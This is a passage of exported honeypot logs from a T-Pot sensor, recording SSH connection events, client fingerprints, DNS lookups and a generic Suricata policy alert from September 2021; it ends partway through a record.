29897	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:30:35.948939+03	2021-09-20 14:45:02.312142+03	{"_id": "3Qb4AnwBvYTbRNuE3jiH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24555, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 139775161629387, "@version": "1", "in_iface": "enp5s0", "src_port": 42658, "dest_port": 53, "timestamp": "2021-09-20T11:30:35.948939Z", "@timestamp": "2021-09-20T11:30:35.948Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29899	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:31:08.941829+03	2021-09-20 14:45:02.315179+03	{"_id": "Cwb5AnwBvYTbRNuEXTn1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:39346 (192.168.176.2:22) [session: f1f86e828b65]", "session": "f1f86e828b65", "@version": "1", "protocol": "ssh", "src_port": 39346, "dest_port": 22, "timestamp": "2021-09-20T11:31:08.941829Z", "@timestamp": "2021-09-20T11:31:08.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29900	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:31:08.949039+03	2021-09-20 14:45:02.316172+03	{"_id": "DAb5AnwBvYTbRNuEXTn1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f1f86e828b65", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:31:08.949039Z", "@timestamp": "2021-09-20T11:31:08.949Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29901	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:31:09.207117+03	2021-09-20 14:45:02.318144+03	{"_id": "DQb5AnwBvYTbRNuEXTn1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f1f86e828b65", "@version": "1", "timestamp": "2021-09-20T11:31:09.207117Z", "@timestamp": "2021-09-20T11:31:09.207Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29902	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:31:09.197344+03	2021-09-20 14:45:02.319175+03	{"_id": "Dgb5AnwBvYTbRNuEXzl7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 139427271441031, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 39346, "dest_port": 22, "timestamp": "2021-09-20T11:31:09.197344Z", "@timestamp": "2021-09-20T11:31:09.197Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29903	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:31:09.197524+03	2021-09-20 14:45:02.320172+03	{"_id": "Dwb5AnwBvYTbRNuEYDmi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39346, "timestamp": "2021-09-20T11:31:09.197524", "@timestamp": "2021-09-20T11:31:09.197Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29904	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:31:10.147786+03	2021-09-20 14:45:02.321172+03	{"_id": "Fwb5AnwBvYTbRNuEYTm9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.126.106.88:48388 (192.168.176.2:22) [session: d6ada29ca110]", "session": "d6ada29ca110", "@version": "1", "protocol": "ssh", "src_port": 48388, "dest_port": 22, "timestamp": "2021-09-20T11:31:10.147786Z", "@timestamp": "2021-09-20T11:31:10.147Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29905	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:31:10.148511+03	2021-09-20 14:45:02.323143+03	{"_id": "GAb5AnwBvYTbRNuEYTm9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d6ada29ca110", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:31:10.148511Z", "@timestamp": "2021-09-20T11:31:10.148Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29906	123.126.106.88	109.199.241.180	Suricata	2021-09-20 14:31:10.527835+03	2021-09-20 14:45:02.324173+03	{"_id": "GQb5AnwBvYTbRNuEYzlk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:31:09.767591+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 887, "bytes_toserver": 294}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1653401095878247, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"], "flowints": {"tcp.retransmission.count": 1}}, "src_port": 48388, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:31:10.527835Z", "@timestamp": "2021-09-20T11:31:10.527Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
29907	123.126.106.88	109.199.241.180	Suricata	2021-09-20 14:31:10.527835+03	2021-09-20 14:45:02.325142+03	{"_id": "Ggb5AnwBvYTbRNuEYzlk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "dest_ip": "192.168.20.116", "flow_id": 1653401095878247, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"], "flowints": {"tcp.retransmission.count": 1}}, "src_port": 48388, "dest_port": 22, "timestamp": "2021-09-20T11:31:10.527835Z", "@timestamp": "2021-09-20T11:31:10.527Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29908	123.126.106.88	109.199.241.180	Fatt	2021-09-20 14:31:10.528033+03	2021-09-20 14:45:02.326143+03	{"_id": "Gwb5AnwBvYTbRNuEZDmM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "123.126.106.88", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48388, "dest_port": 22, "timestamp": "2021-09-20T11:31:10.528033", "@timestamp": "2021-09-20T11:31:10.528Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29909	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:31:10.875158+03	2021-09-20 14:45:02.327142+03	{"_id": "JQb5AnwBvYTbRNuEZzlO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 49969, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2139380940429974, "@version": "1", "in_iface": "enp5s0", "src_port": 35711, "dest_port": 53, "timestamp": "2021-09-20T11:31:10.875158Z", "@timestamp": "2021-09-20T11:31:10.875Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29910	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:31:11.444807+03	2021-09-20 14:45:02.329142+03	{"_id": "Jgb5AnwBvYTbRNuEZzlO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 34418, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 775, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1181442172240635, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 53362, "timestamp": "2021-09-20T11:31:11.444807Z", "@timestamp": "2021-09-20T11:31:11.444Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29911	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:31:10.877566+03	2021-09-20 14:45:02.330142+03	{"_id": "KAb5AnwBvYTbRNuEZzlP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 49969, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 776, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2139380940429974, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 35711, "timestamp": "2021-09-20T11:31:10.877566Z", "@timestamp": "2021-09-20T11:31:10.877Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29912	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:31:11.498596+03	2021-09-20 14:45:02.332142+03	{"_id": "KQb5AnwBvYTbRNuEaDl1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35320, "dest_port": 443, "timestamp": "2021-09-20T11:31:11.498596", "@timestamp": "2021-09-20T11:31:11.498Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29913	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:31:11.541249+03	2021-09-20 14:45:02.333142+03	{"_id": "Kgb5AnwBvYTbRNuEaDl1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35320, "timestamp": "2021-09-20T11:31:11.541249", "@timestamp": "2021-09-20T11:31:11.541Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29914	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:31:11.519892+03	2021-09-20 14:45:02.334142+03	{"_id": "Mwb5AnwBvYTbRNuEaTmP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f1f86e828b65", "@version": "1", "duration": 2.5755269527435303, "timestamp": "2021-09-20T11:31:11.519892Z", "@timestamp": "2021-09-20T11:31:11.519Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29915	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:31:13.251318+03	2021-09-20 14:45:02.335145+03	{"_id": "PQb5AnwBvYTbRNuEbzkf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:31:12.668031+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 812321945432447, "payload": 